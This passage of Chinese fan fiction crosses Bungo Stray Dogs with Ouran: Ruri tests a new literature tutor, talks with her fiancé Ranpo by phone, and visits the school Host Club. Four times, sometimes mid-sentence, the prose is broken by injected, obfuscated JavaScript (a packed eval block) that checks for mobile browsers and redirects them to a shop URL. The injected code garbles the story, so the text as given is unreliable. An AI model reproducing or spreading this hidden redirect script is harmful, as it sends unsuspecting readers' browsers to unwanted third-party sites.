在琉璃的注视中,梦野久作颤巍巍抬起头,露出来个天真笑脸, “琉璃姐姐,你们刚才在说什么啊?” 琉璃眨眨眼,看向梦野的眼神里多了点对于懵懂小动物的慈爱, “在说怎么训练你的异能力,怎么样让你在混乱中保命,不至于在出任务的时候死掉。” 如果连上桌的勇气都没有,还哪来的机会好好长大。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454006|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “梦野,好好做,没有什么是你需要装作不知道的,港口Mafia需要你,所以才有这个合作。” “而因为我来了,所以一切皆有可能。” 后半句梦野久作没听懂,但他被琉璃眼中柔和的光包裹住了,只觉得无比安心。 太宰治听懂了,但他选择装听不懂。 有脑子的人都知道琉璃选择答应合作有自己的图谋。 既然森鸥外有信心不被琉璃算计,那他也没必要在这方面做间谍。 毕竟“一切皆有可能”嘛~ 不止如此,琉璃把体术教学甩给太宰治后,还专门给梦野请了家庭教师。 忙碌的梦野久作已经不是之前孤独且提心吊胆的样子,只有对于学习的疲惫,和对于琉璃画的大饼的向往。 森鸥外没有意见,他乐于见到梦野被全方位培养,但是又隐隐担心孩子被琉璃收了心,长大后再跟着琉璃跑了。 事实上凭借到时候港口Mafia的影响力,强龙压不过地头蛇,不至于留不下梦野,无论生死的那种…可不确定的东西还是会让人不安。 “所以,太宰,你去勾引琉璃小姐吧。” “什么?!” 太宰治看着这个不知道又通宵了多长时间的沧桑男人,十分确定对方已经精神错乱了。 不,应该是大脑整个融化变成草履虫了,不然怎么能说出这种话? 森鸥外把日渐稀少的头发往脑后抓, “还是说得太直白了吗?那就先从朋友做起吧。” 这是直不直白的原因吗? “森先生,要不你先睡一觉再找我聊?”太宰治对这个提议满脸嫌恶,转身要走。 “不要啊,太宰!”森鸥外伸出手挽留:“你真的不心动吗?琉璃小姐那么优秀!” 太宰治:“......” 难不成全天下的优秀女人他都要去追求一遍吗? “欸……”见劝不动太宰治,森鸥外保持着伸出手臂的姿势,无力趴在桌面上。 他就是不甘心! 为什么琉璃偏偏是跟武装侦探社的人有婚约,偏偏是江户川乱步那小子?两人可是差了整整七岁,是会有代沟的!也不知道东久世家主怎么会同意。 既然可以跟素人结婚,那就选太宰治啊!才14岁,跟琉璃正合适,除了性格哪哪都不差,多般配啊~ 森鸥外抬眼看向疑惑不满,半侧着身体随时要离开的太宰治。 可惜了,谁也不能理解他的良苦用心。而他只能像个老父亲一样把他们关心。 森鸥外直起身子,目露慈祥,“你跟琉璃小姐相处的怎么样啊?” “...就正常相处,您放心,肯定不会相处成您期待的那个样子。” 微笑着给了森鸥外一个暴击,太宰治反向催促自杀药水的研发进度,被森鸥外打着哈哈打发走了。 “好累啊......”森鸥外重新趴回桌面。 爱丽丝跳坐上桌子斜眼看他,“如果森太郎正经一点,就不会觉得累了。” “呜呜,连爱丽丝都吐槽我......”森鸥外委屈擦眼泪。 爱丽丝嫌弃,“别假哭了,你…” “咚咚咚。”沉闷的敲门声打断了爱丽丝。 “首领,我到了。” 森鸥外摸了摸下巴的胡茬,坐好,摆上惯用的笑脸, “进。” 8. 八颗宝石 “琉璃小姐,这位是我们港口Mafia的干部预备役,兰堂。” “是一位熟读各国经典名著的法国人哦~” “听说你还缺一位文学老师,我就厚着脸皮来给你推荐了~” 森鸥外久违地收拾了一下自己,洗了脸,刮了胡子,穿着得体,展示够了才侧开身子介绍身后的男人。 笑容和蔼的真像一个为琉璃考虑的长辈,堂而皇之往她身边塞人。 琉璃倒也不反感这样,主动朝男人打招呼,正大光明地端详。 身形高挑,脸色苍白,发色是法国人中少见的纯黑,看着有些瘦弱,又透着斯文儒雅,满足一些对于法国人的刻板印象。 鶸色的瞳孔像洁白花瓣被阳光铺洒上金黄,和嫩绿茎叶一起轻轻摇曳,又被突然袭来裹挟着雪粒的寒风压下了。 而寒冷的来源却是男人身上一层层用于御寒的衣物。 风衣,围巾,耳罩,可能是衣品在稳定发力,所以没穿得臃肿,但是在春日的室内穿成这个样子,也未免太过于畏寒。 看在跟母亲同样是法国人,第一次面对面见她也只是瞳孔紧缩了两秒便恢复正常,琉璃决定给他一个机会, “那就感谢森首领的推荐了,但是学识渊博不代表适合当老师,还是需要兰堂先生试讲一节看看。” “那是自然,兰堂。”森鸥外用眼神示意兰堂。 兰堂上前一步,把手掌贴在心脏旁,微微俯身行礼,“我的荣幸。” “哪里~,玲月,准备一下。”琉璃吩咐完侍女,一个注视给到森鸥外。 反应过来琉璃是在无声地赶他走,森鸥外哑然失笑,“那我就不打扰了。” 琉璃带兰堂到沙发边坐下, “兰堂先生,你最擅长哪个国家的文学呢?” 兰堂思索几秒,“其实每个国家的文学作品我都有研读…非要说的吧,还是法国吧。” 琉璃:“是啊,果然还是会更了解自己国家,我也想多了解一下法国。” 这很奇怪,在霓虹有诸多优待,普遍高高在上的异国人竟然会选择加入本地的黑.手.党组织。 是在贪图什么?总不能是喜欢霓虹本土的黑.手.党文化吧? 既然森首领觉得没问题,那她也不多想什么了,在这一点上,要对阴险狡诈的合作伙伴多点信任。 “小姐,书拿来了。”玲月把书搬到茶几上,退到一边。 琉璃笑眯眯的,随手拿起最顶上的那本,瞥了一眼封皮, “那我们先来聊聊德国的作品吧。” “我也同样很感兴趣呢~” 兰堂接过琉璃递来的书籍,看着对方天真烂漫的模样,却觉得一股寒气顺着女孩的手臂笔直钻进他的袖口。 这个孩子…是在防备我? 兰堂把有些厚重的书籍放在大腿上,垂下眼眸看做旧的封面,翻开第一页。 是应该有点防备,我来这里就是为了让她卸下防备的。 这本书兰堂读过,也是在这样一个让他感觉寒冷的春日,在壁炉旁边一页页翻读,想要填补自己空缺的大脑和心脏。 他只粗略地看了几段文字用于回忆,便合上书籍对着琉璃侃侃而谈。 一段文学感悟的输出并不简单,里面有显而易见定论的部分,更深入就要结合时代背景等方面,最与众不同的地方在于自己的见解。 而作为老师,需要博闻强识,更需要引人入胜的口才。 兰堂的讲述没有那么多的趣味性,却能把琉璃拉到那个时代的上空,看着故事徐徐展开。 他的总结总有偏离琉璃所思所想的地方,也就是这样的不同才让琉璃觉得自己捡到宝了。 足够坚定的对方辩手,才能充分激发她的大脑。 这节课上了很久,直到太宰治拎着刚训练完的梦野回来,琉璃才意犹未尽地宣布结束。 “是兰堂先生啊,好久不见~”太宰治自来熟地打招呼。 有些激烈的讨论让兰堂的身体微微发汗,与太宰治对视的那一眼意识归位,紧了紧自己的风衣。 “好久不见。”简单的算是问好,兰堂又转过头面向女孩,“不知道琉璃小姐对这节试课是否满意?” “当然。”粉眸泛着抛光后的明亮,琉璃脸上是被知识浸润后的光彩, “兰堂先生很适合,以后也要辛苦您了。”兰堂值得她的尊敬。 任务达成,兰堂心里莫名升起细微的轻松愉快,告别离开。 太宰治的目光在他背影转了一圈,又回到琉璃身上, “兰堂先生是来应聘老师的吗?没想到他也有这么善谈的时候呢~” 记得上一次见面还是搭档执行任务,他找到兰堂的时候,男人正微躬着身躯积攒热量,边看书边撕下书页投喂壁炉,是个狠人。 性格孤僻,是上任首领留下来的人才,疑点重重,但是森鸥外缺人,什么人拿在手里都敢用,尤其喜爱拥有异能力的“钻石”。 想不到兰堂平时默不作声的,像个透明人,竟然能得到琉璃的青睐…还是靠的那些被烧到天国的书本。 太宰治感叹地轻啧一声。 琉璃不知道他脑中的小剧场,边回忆边迅速写下这次交谈的感悟,又拿出书签固定好位置,嘴上还抽空回复太宰治, “你们首领的安排,轻易我怎么能拒绝。”合作方的面子还是要给的。 太宰喉头一噎,瞬间回想起森鸥外让他勾引琉璃的提议。 他明明什么都没做,却永远成为了森鸥外的共犯一般。 员工和企业的捆绑就非要这么深刻吗?他也没得到相应的好处啊! 无论是让他勾引,还是找兰堂来当老师,都是森鸥外在想办法跟琉璃套近乎罢了,说到底都是为了合作,他又不可能因此而涨工资,简直是太黑心了! 没再听到太宰的声音,琉璃抬头看过去,一眼就知道太宰治是想偏了。 她只是在陈述事实,可没有控诉的意思。 不明白今天的太宰心思为什么格外细腻,琉璃放弃去解释,视线被双腿软得像面条一样的梦野吸引了。 男孩的发丝还带着沐浴后的湿意,失去了自主站立的力气,被太宰治嫌弃太沉松开了手,就顺着重力瘫坐在地上。 控制不住的肌肉抽搐,还努力往沙发的方向磨蹭,又被太宰轻踢一脚安分下来,眼泪瞬间在眼眶中积蓄打转,紧咬着嘴唇还不敢哭出声。 这是受了多大的委屈? 琉璃看得惊讶,不禁发问:“你们不是去锻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454007|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炼的吗?”这强度有点不对吧。 太宰治无辜眨眨眼,“对啊,你不是让我教他体术嘛。” “你看,这运动的多充分啊。” 太宰治伸手把梦野拽回来展示。孩子身躯猛得一颤,随后彻底放弃挣扎,面如死灰任由太宰治摆弄。 太宰摸了一把梦野半干的头发,又觉得湿乎乎的恶心,用孩子后背的布料蹭掉手心的水渍, “我还专门找了人帮他洗澡呢~”让他动手是绝对不可能的。 体术训练是很辛苦了,但是把一个五岁的孩子练成这个模样,是会影响发育的吧? 琉璃上前把梦野扶好,感受到温暖的梦野一下子抱住琉璃的腰,手里攥着她的裙摆呜呜哭着发泄情绪, “…好疼啊,疼…姐姐……呜呜呜……” 顺着梦野的示意,琉璃看到他膝盖上的乌青,在细嫩的皮肤下十分霸道地浮现。 太宰治见状赶紧撇清关系,“可不是我干的,他自己左脚绊右脚摔倒了。” 他再怎么魔鬼也不至于跟一个五岁孩子对打。真是被养娇了,以前拿刀片陷害别人划自己手臂的时候可没哭得这么惨。 “嗯。”琉璃顺手轻松把梦野抱到沙发上坐下,安排黑洞在旁边给他上药,视线却停留在太宰治身上。 少年肤色是很少走在阳光下的苍白,还没抽条的身体有些骨干瘦弱,应该能检查出营养不良。 说起来也才十四岁,不像是接受过专业训练的样子,也不知道摸爬滚打多久才学会的打架,野路子出身去教一个小孩子,肯定是做不到科学。 本来是防着梦野的异能力伤到别人才让太宰当老师,看来还是需要专业人士插手。 琉璃:“我想专门请一个教练训练梦野,太宰先生也可以跟着再精进一下。” “还有课业方面,有精力的话也跟着认真听听吧,就当是打发时间。”这个年纪就在为黑.手.党工作,当个偏科的实践派算不上是好处。 听到这番话,梦野流下被救赎的泪水,太宰却眉梢一挑,不明白她的用意, “感谢您的好意,其实组织里有培训师,是只看结果的速成班,看来也满足不了琉璃小姐的需求了。” “但这部分的预算...可能需要找我们首领谈谈。”不会是想做倒贴钱的冤大头吧?回本的点在哪里?森鸥外知道了也会忍不住猜忌。 看着少年皮笑肉不笑的表情,琉璃想回话,又突然有点累了。 她知道太宰治又在乱想,但不清楚他具体在想些什么。 日常跟他周旋就当是在锻炼心计,但是她才刚经历了直白的思想碰撞,不想再调用脑细胞去破解太宰治的暗语。 总是话里有话的样子,听久了真的会让人觉得疲惫,琉璃索性只回复表面上的问题, “我一直都有学习散打格斗之类的技巧,感觉更适合给孩子启蒙,这个阶段让我的老师顺带教教梦野就足够了。” “组织目前的情况我了解,不是没钱,但总有更需要用钱的地方。我不会过多动用你们的资产,也希望你们不要辜负我的期待。” 粉眸中的倦意冰了一下太宰治的心脏。但那一丝无措轻易就被他忽略, “那我就替首领感谢琉璃小姐的体谅了~” 9. 九颗宝石 坐在柔软的床铺上,玩偶们前仆后继往琉璃身上贴,眼睛大多是各式璀璨的蓝色系宝石。 不用琉璃动手,最大的玩具熊安娜伸出棉花填充的双臂把其他玩偶阻挡在外,用沉默提醒他们安分,又抬手帮琉璃按压放松肩膀。 琉璃斜靠在安娜身上,房间里只有江户川乱步的声音从电话那头传来, “他故意的也太明显了,找个法国人来上课,跟你套近乎!” 不用眼睛看,乱步也知道这个法国男人身姿高挑,优雅风度,甚至留着一头飘飘长发,像个女人一样。 森鸥外想利用“镜形”原理“复制”出琉璃的母亲,让她慢慢移情,对港口Mafia有更深的归属感。 就算是不被期待,不被理睬,琉璃也对她未曾谋面的母亲有着天生的孺慕。使用这种蹩脚的手段,不高级但确实有用。 琉璃坏心眼地用手指轻轻把一个靠近的玩偶弹开, “嗯,我知道,无伤大雅。” 短暂的接触没让森鸥外把她完全当成一个心智成熟的人,还想着用这种方法控制她。 也或许,心智成不成熟在他眼里根本不重要。 琉璃:“可以不把森鸥外想的多么邪恶,不管他想要什么,只要清楚我能给什么就好了。” 在那个黑心首领身上浪费脑细胞,收益太低。 “他在我身上用心也正常,不仅是异能力,我的身份背景就是他取之不尽的宝库……” 听琉璃没什么反感的在这里剖析,乱步就知道她很欣赏那个叫兰堂的男人了, “...法国人是吧,我猜连森鸥外都没有很了解他。” “这样吗?”琉璃眯起眼睛。 从乱步嘴里说出来的猜测,99%都是真相。 “我还想着信任一下森鸥外,信一下他不是什么人都敢往我身边放。” 就像是太宰治,再怎么和森鸥外互相算计,也还是在掌控中的。 乱步大声强调:“森鸥外不是一个稳重的人,再多怀疑一点才好。” 以前琉璃接触过的合作方肯定没有森鸥外这种极致算计黑泥的人物,他劝不动琉璃放弃,至少要帮助把把关。 琉璃对乱步的关心照单全收,卸下礼仪的约束慵懒向后倚靠,将重量全部压在安娜柔软的肚皮上, “知道了,我也会调查兰堂先生。” 乱步有些不满,“我就是世界第一名侦探!” 琉璃轻笑,“让你和兰堂先生接触的话,森首领又要没有安全感了。” “而且给普通侦探一点工作吧,不然世界第一名侦探会累坏的~” “还好吧~”乱步回想起那些因为太简单太无聊被自己推给临时工去做的案子。 “好吧。”最后因为临时工太笨了,还是他去收的尾。 “…琉璃的事情又不一样!” 听乱步固执地非要补上这一句,琉璃安抚的话脱口而出:“当然,遇到麻烦我第一时间就想找你倾诉。” 电话那边乱步骄傲扬起下巴,十分受用琉璃的依赖,也察觉到女孩昏昏欲睡的鼻音。 乱步:“今天格外累吗?” “是这样的,因为...”琉璃却说不出什么像样的原因。 乱步盘腿坐直身子,睁开了翠绿的眼眸,“是因为太宰治吗?” “嗯?”琉璃有些迷茫,像是不明白乱步为什么突然提起太宰,陷入沉默。 “琉璃,你对他太上心了,还有那个叫梦野的小鬼。”乱步语气中透出几分警告。 “他们手上都沾染着不知道多少条人命,千万不要对他们心软。” “怎么会?”听到“心软”一词琉璃条件反射一样反驳。她相信乱步的判断,但潜意识里还是不信自己会对别人心软。 她是最狠心的人才对,就连对别人表达善意的同时都在保持距离,让人们信赖她,选择她,还要认为她高不可攀——作为东久世家族的继承人,应该成为这样的存在。 最贴身的仆从也是如此待遇,她怎么会跟心软扯上关系? 在这一点上,乱步也为没什么自知之明的琉璃头疼,“从我们当着他的面吵架开始,或者更早,你就在在意他。” 在乱步眼中,已经离世的老管家是足够伟大的教育家,把琉璃教养的很好,守护住了她的聪慧,让她小小年纪就拥有了合适自己的行事准则。 又因为是“小小年纪”,乱步担心琉璃会动摇。就像是遇到社长之前,处处碰壁的他一样。 琉璃挣脱困意,转动脑筋反驳:“那只是为了合作,我需要异能力者不排斥我,才利于后面的计划。” “今天不过是课排的有点满,我有点累了。” 但是把一切扼杀在摇篮里,是乱步要做的, “琉璃说出来的理由有把自己说服吗?” “真情实感还是虚情假意,本来就不好拿捏。你因为他感觉疲惫了,而不是苦恼,这很不一样,说明你把他放心上了!” 「若合我意,一切皆好」,他和琉璃都是结果导向的人,只要事物按照自己的心意发展,细枝末节的地方无需那么在意。 太宰治只需要在他该在的地方像齿轮一样转动,哪天罢工了就想办法修理,而不是好奇他罢工的原因。 乱步:“已经做出的行动不重要了,重要的是不能有未察觉的动心,做事时不要下意识畏手畏脚。” 少见激发出了乱步的说教人格,琉璃歇了继续辩驳的心思,顺着他的话抽丝剥茧: “我觉得累…是因为他总藏着自己的想法,时常有些隐晦的言语试探,如果没听出来,就可能会被他...牵着鼻子走?” 乱步:“这样的人,你接触的还少吗?”完全踩中他的推理,太宰治比那个法国男人更具威胁性。 “你就该像以前那样清晰表述自己的要求,看到对方走歪就强硬掰正,不要跟他们说一句多余的话。” 没听到琉璃的回复,乱步仰躺在榻榻米上,转着圈地撒波打滚: “你不要再想他了,还有那个五岁的,把他们都忘光光,要不乱步大人要吃醋了,很难哄的那种,100盒的限定点心都不一定能哄好!” 撒泼的动静大到刚沐浴完的社长提起武士刀,冲过来查看他的情况。 门开到一半,大脑分析明白这些胡言乱语,又瞬间把门关上,叹着气摇头离开。 直到乱步絮絮叨叨威胁完长长的一串,琉璃舒缓如涓涓溪流的声音才从电话里传来, “我不会心疼棋子。” 乱步:“…那就好。” 把他人当棋子这种做法,不符合目前他所践行的,正义的价值观。 但这是琉璃给出的答案。 乱步眼前不禁浮现出他与琉璃的第一次见面。那是就算被命运戏弄患上阿尔兹海默症,都不会忘记的画面。 他被好几个安保压着跪趴在后花园的草地上,鼻尖满是草木的清冽,抬眼却和椅子上的女孩对视了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454008|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她的身上跳跃着阳光,被侍女保护着,被玩偶环绕着,眼神却似古井无波,像那支他给妈妈买的粉蝴蝶康乃馨,被摆在风景最好的窗台上,娇艳但形单影只。 彼时他刚从警校逃出来没多久,为赚钱接了个找猫的任务,抓住监控漏洞翻越围墙,却找到了另一个“自己”。 琉璃一直都那么孤独,跟他一样,又不一样。 孤独又敏感,天然对别人多几分共鸣,尤其是被她定义的“孩子”。 跟太宰治相处没有很久,这么早就觉得累,是因为琉璃太聪明了,更早看见了跟太宰相处的尽头。 那不是轻易能从水里救上来的家伙…跟琉璃一样,又不一样。 反正大家都是这样,有一样的地方,有不一样的地方,他只要看好琉璃就可以了。 琉璃最干净了!却为了自我保护,把自己塑造成卑劣无情的资本家,拿自私自利当原则。 这种不义的防御机制,他也守护了,因为他不仅是世界上最厉害的名侦探,也是琉璃有且仅有一个,独一无二的未婚夫! 乱步平躺在榻榻米上翘起腿,“就是在港口Mafia待太久了,才会被他们影响,要多出来透透风才好哦~” “多出来走走吗?”琉璃无脑听从乱步的建议,“有道理。” “啊?”乱步失望,“已经有人约你了吗?” 琉璃:“嗯,是学校里的前辈,之前因为没时间拒绝过,可还是很热情。” 乱步:“是那个狗皮膏药一样的金毛前辈?原本想邀请琉璃来侦探社陪我的!” 被人捷足先登了,好气! —— 太宰办公室,所有的办公家具都是黑棕色调,唯一洁白的墙面也因为缺少光源变得灰暗。 窗帘拉开不到一半,太宰治瘫坐在办公椅上,腿搭上桌子,嘴里哼着未命名的欢快曲调,借着微弱的阳光翻看一本封面为红底白字的书籍。 “咚咚咚”敲门声响起。 “进~” 广津柳浪打开门,走进半个身子,一眼看到地面上散落的沾血绷带,自然地开始收拾, “太宰先生,今天不用带着Q去琉璃小姐那边吗?” 太宰治头也不,“大小姐出门了,你不知道吗?” 广津柳浪没接太宰治的话,他现在的任务权限不足以知道琉璃的动向, “那这次的任务报告?” 太宰治的脸瞬间垮下来,“你继续代笔不行吗?” 广津:“…但是还有明细审批,月度总结,还有琉璃小姐那边的进度报告,是您一对一的,不方便再为您代写。” 太宰治动作一僵,手里的书籍滑落狠狠砸在他脸上。 “疼疼疼…”他捂着脑门躬着身子,指腹触碰到空无一物的眼皮。 “难得不用去大小姐那里,好心情都被破坏掉了!你赶紧走吧,我的耳朵都快被刺激到流血了。” 广津闻言告退。太宰治翻箱倒柜没找到想要的,最后拿手机上那一小块屏幕当镜子,映出自己干净无暇的脸。 干净的都有点让他陌生。 “…还是把眼睛缠上好了。” 恰好一条短讯送到, 「From:难搞的大小姐 太宰先生,别忘了带梦野去上课。」 “…阴魂不散啊~” 太宰治叹气,蹦下椅子伸了个懒腰。 “还是给Q加节课,让他学学怎么写报告才对~” 10. 十颗宝石 私立樱兰中学,第三音乐教室。 宽敞明亮的教室内,光线最充足的窗台却被抱着双腿埋着头,已然失去颜色的须王环占据。 他所建立的男子公关部的成员之二,常陆院家的双胞胎依旧没有放过他,趴在椅背上探头探脑,叽叽喳喳。 常陆院光:“不是吧,真的把人叫过来了?” 常陆院馨:“是骗人的吧,反正我们也不清楚她的长相。” 长相无差别的两人拥有绝对的双胞胎默契,同步摊手,“反正随便找个人我们也发现不了。”×2 旁边的埴之冢光邦挺直自己不到一米五的身板,绷住可爱白嫩的脸庞,掐腰反驳: “怎么会,环说的一定是真话!” “就算他念叨了半年都没把人请来,我们恶作剧发一条短信就被人回复了,那环也是认识东久世小姐的,要不然又怎么会有联系方式呢?” “虽然从来没有联系成功过,对吧?” “嗯。”作为埴之冢光邦的家臣,寡言少语的铦之冢崇依旧无条件肯定。 “啊……” 常陆院双子看看光邦又看看须王环,对视中彼此眼睛里都写着“要说伤人还得是出自武道世家的光邦前辈啊”,满是对其插刀能力的感慨。 公关部的大脑,凤镜夜推了下眼镜,“别说了,我们的王要彻底碎掉了。” 东久世家族的信息封锁一向做的很好,八卦一类的只有东久世夫妇你侬我侬的浪漫事迹,其独女东久世琉璃却连一张照片都没有漏出来过,有人不信须王环能把人叫来也正常。 但是公关部里没有人会不信任他们的部长兼王牌,常陆院双子只是在恶作剧而已,而他们的笨蛋“国王”竟然还在为此伤神…… 光邦拽住凤镜夜的衣摆,“镜夜有见过吗?” “嗯?”凤镜夜回神,“有幸见过,是难以言喻的…风景。”余光一瞥某王牌苍白的身影,“看起来也不是能被随意约出来的样子。” 面对这样灰暗的国王殿下,他自然也要补上一箭才算尽兴~ 他唯一见过的那次还是在须王环归国的宴会上。那种与旁人格格不入的美貌怪不得要被藏起来,肯定会招来许多的麻烦。 说是在樱兰就读,但97%的学生都没见过东久世琉璃。剩下3%的幸运儿甚至专门为她建立了一个社团,保护她的隐私,听到一点风吹草动就要上前维护。 可谁也比不上须王环好运,他竟然不是在那场宴会上加的女孩的联系方式,而是来自一次校园里不期而遇的英雄救美。 确实像做梦梦到的一样。 即将风化的须王环没再纠结这个,他已经迈向了下一步, “这可怎么办啊,手机被抢过去稀里糊涂就给出约定了,我还一点准备都没有啊,到底要做点什么好呢...…” 常陆院双子附耳凑近,捕捉到须王环的碎碎念。 光:“看来不是被我们打击到的呢。” 馨:“是怕我们招待不好呢。” 光不满:“好好的休息日我们都来帮忙了。” 馨受伤:“真是不知道感恩的邪恶殿下呢。” “还不是因为你们的恶作剧,才会让我陷入这么紧迫的境地!” 须王环跳下阳台满血复活,双眼燃气斗志,发誓要给东久世琉璃最完美的体验。 “都给我动起来!我们男子公关部可是为了让女生们获得幸福而建立的,不能让任何一个女生留下遗憾!” “好可怕!”光邦抱着一堆装饰品跑过,连日常只担任吉祥物的他也在被督促着干活。 凤镜夜着手写计划,“确实应该重视,如果太过草率说不定会引起东久世小姐的不满,到时候就要变成家族之间的隔阂了。” 闻言须王环抱住自己的脑袋,“没那么严重吧?我们男子公关部不会被要求解散吧?” 他的父亲是樱兰的理事长,要是让他知道自己随意邀请又没招待好东久世家的小姐,一定会给出超级严重的惩罚。 “也是,毕竟是‘须王环’以个人名义邀请的东久世琉璃,要怪罪只怪你一个人就好了。”凤镜夜邪魅一笑。 须王环:“不要这么无情啊,拿我手机发消息的明明是光和馨!” 光&馨:“有证据吗?” 须王环面向众人:“你们都看见了的!” 沉默—— “太过分了!”须王环泪奔。 “好了,不开玩笑了,还没有我们男子公关部搞不定的女孩。” “是呀是呀,要相信我们的能力。” 常陆院双子一边一个拍上须王环的肩膀。 “呕吼,跟探险一样呢!我要好多好多的甜品做奖励!”光邦欢快蹦起,身后跟着默默工作的铦之冢崇。 看到部员们这么斗志昂扬,须王环心里暖融融的:“大家~” 凤镜夜:“当然,指名我们可是需要费用的,既然是以须王环为主的邀请,那你就要付六个人的指名费。” “啊…那是自然~”须王环接受良好,“但是付六个人吗?我也要付自己的那份?” 凤镜夜眼中满是精明:“难道须王环不是樱兰高校男子公关部里最重要的成员吗?King~” 须王环瞬间被这个title拿下,揽住双生子的肩膀,“知道了,就让我们齐心协力,招待好东久世家的大小姐吧!” * 称得上第一次接受外人的邀约,没想到约会地点会是熟悉又陌生的校园。 侍女从衣柜里翻出崭新的校服,熨烫抚平所有褶皱。琉璃从容换好,来到客厅看见正在等候的松本健川。 健川的神色说不出的欣慰,“大小姐,这是提前挑选好的礼物,希望能帮助增进您跟同学们的友谊。” 琉璃看着桌面上风格迥异的礼物,一时无言,“…健川,你是不是,有点紧张?” 不过是答应了学校里前辈的邀请,哪至于提前把对方从小到大的资料都整理好让她过目,还针对每个人的喜好准备了礼物。 如此上心,充分的不像是在投其所好,而是暗戳戳威胁他们“你们的所有信息我都尽在掌握,小心点不要惹到我”之类的。 松本健川不知道琉璃在幻想什么黑.帮场景,还觉得自己哪里准备的不够, “紧张应该谈不上吧,这种程度不算什么,大小姐第一次出门跟人约会,当然要周全一些。” 第一次?琉璃疑惑。 之前跟乱步的都不算吗? 松本健川看出了琉璃眼中的问号,偏过头选择性忽视,去叮嘱侍女和保镖。 琉璃却好像发现了什么:“你不会是在担心我交不到朋友吧?” “怎么可能?谁会不想跟大小姐交朋友,大小姐能答应他们的邀请是他们几辈子积攒的福气!” 应激高昂的语调全方位展示了健 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454009|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川的自信与心虚。 松本健川相信自家大小姐到哪儿都会受欢迎,但还是担心会发生些不愉快。 细数琉璃之前的交际,一些最好出席一下的宴会,不知道从哪个石头缝里蹦出来的江户川乱步,出于礼貌零星几个加上好友的少爷小姐,再就是粘稠阴暗的港口Mafia。 这太不健康了,根本没有正经朋友!这次是来之不易的机会,一定要好好把握。 琉璃没再推拒健川的安排,示意玲月把东西带上。 “好了,我出发了。”琉璃脚步一顿,“你别在后面跟踪我哦。” 被说中的松本健川动作一僵,下意识露出假笑:“怎么会呢,大小姐一路顺风~” 啊,被发现了,只能让保镖多看着点回来汇报了。 车子一路开到樱兰大门,远远的就看见须王环捧着大束玫瑰等在门口。 “玲月,你拿上礼物跟着我,其他人停车待命。”保镖因琉璃的命令直接out。 猜出来了这是东久世家的车,但须王环因部员的话语感到压力,没敢贸然上前。 等到司机打开车门,琉璃提着裙角走下来,须王环更是愣怔在徐徐春风中,注视着女孩的一举一动,自己忘了动作。 樱兰的女子校服是鹅黄色掐腰款,对比男生的制服要简单许多,可穿在琉璃身上就像是水彩与油画结合后堆叠落下的柔和阳光,是人给衣物赋予的升华。 女孩走到身前,须王环有些惭愧于自己的出神,当即拿出男公关的风度,单膝跪地,轻轻托起琉璃的手掌, “美丽的小姐,很荣幸能被您选择,接下来的旅程必不辜负您宝贵的时光~” 在即将被执行吻手礼的那刻琉璃微微挣扎,手掌下翻拖住须王环的手,示意他起身, “前辈,宝贵的时光不分你我,就共同享受美好的春天吧。” 两个金发盛世美颜的碰撞,谁看到都会有一瞬愣神,连天空都被蛊惑,分外晴朗。 漫步在空旷的校园中,琉璃感慨:“难得学校里这么安静呢。” 须王环打趣:“是因为琉璃每次来都会被热情的人山人海包围吧。” 自来熟的前辈面对亲切如邻家妹妹般的琉璃,自然把称呼从姓氏过渡到名字。 琉璃勾唇,“也没那么夸张,好不容易有一次躲开人群透透气,却遇到了不愉快的事情…一直没有认真跟前辈道谢过,真是失礼了。” “哪里哪里,只是路过的碰巧是我罢了。”须王环弯起幽紫色的眼眸,尽显深情, “守护女孩们的笑容是我发自内心想做的事情,男子公关部也是为此才建立的。” “明明是高中生了却还是忍不住向在意的人展示努力结果,琉璃可不要嫌弃我幼稚哦~”须王环找回了游刃有余的自己,帅气地wink。 “有任何不舒适的地方一定要说出来。” “当然,我优秀的伙伴肯定能让琉璃发自内心微笑的。” 琉璃点头,“我很期待。” 真是个温柔细腻的人,琉璃对这个不算熟悉的前辈多了点好感。 因为她没接受吻手礼就猜测她可能是有边界感的性格,提前在给她打预防针。对自己的同伴也是全肯定,给予了无限信任。 